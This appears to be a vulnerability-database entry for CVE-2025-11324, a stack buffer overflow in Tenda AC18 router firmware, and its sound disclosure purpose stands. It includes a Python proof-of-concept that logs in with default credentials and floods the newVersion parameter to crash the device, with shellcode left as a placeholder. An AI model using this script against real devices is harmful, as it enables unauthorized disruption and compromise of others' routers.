Security Vulnerability Report
中文
CVE-2025-11324 CVSS 8.8 HIGH

CVE-2025-11324

Published: 2025-10-06 07:15:33
Last Modified: 2025-10-07 17:02:52

Description

A vulnerability was identified in Tenda AC18 15.03.05.19(6318). Affected by this vulnerability is an unknown functionality of the file /goform/setNotUpgrade. Such manipulation of the argument newVersion leads to stack-based buffer overflow. The attack can be executed remotely. The exploit is publicly available and might be used.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:ac18_firmware:15.03.05.19\(6318\):*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:ac18:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda AC18 15.03.05.19(6318)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11324 - Tenda AC18 setNotUpgrade Stack Buffer Overflow PoC # Vulnerability: Stack-based buffer overflow in newVersion parameter # Affected: Tenda AC18 firmware 15.03.05.19(6318) # Endpoint: /goform/setNotUpgrade import requests import sys TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1" TARGET_PORT = 80 USERNAME = "admin" PASSWORD = "admin" # Default or brute-forced credentials # Step 1: Authenticate to obtain session cookie session = requests.Session() login_url = f"http://{TARGET_HOST}:{TARGET_PORT}/login/Auth" login_data = { "username": USERNAME, "password": PASSWORD } try: resp = session.post(login_url, data=login_data, timeout=10) print(f"[*] Login response status: {resp.status_code}") except Exception as e: print(f"[-] Login failed: {e}") sys.exit(1) # Step 2: Craft malicious payload to trigger stack buffer overflow # The newVersion parameter is vulnerable to stack-based buffer overflow # Payload structure: [padding][return_address][shellcode] payload_url = f"http://{TARGET_HOST}:{TARGET_PORT}/goform/setNotUpgrade" # Generate overflow payload - adjust size based on buffer offset buffer_size = 256 # Estimated buffer size; may need adjustment overflow_data = "A" * buffer_size # Fill buffer # In a real exploit, append return address overwrite + shellcode/ROP chain here # e.g., overflow_data += struct.pack("<I", target_ret_addr) + shellcode payload_data = { "newVersion": overflow_data } # Step 3: Send the malicious request print(f"[*] Sending exploit payload to {payload_url}") try: resp = session.post(payload_url, data=payload_data, timeout=10) print(f"[*] Response status: {resp.status_code}") print(f"[*] Response body: {resp.text[:200]}") except Exception as e: print(f"[*] Target may have crashed (expected): {e}") print("[*] Exploit completed. Check if device is compromised.")

References

Raw JSON Data

JSON
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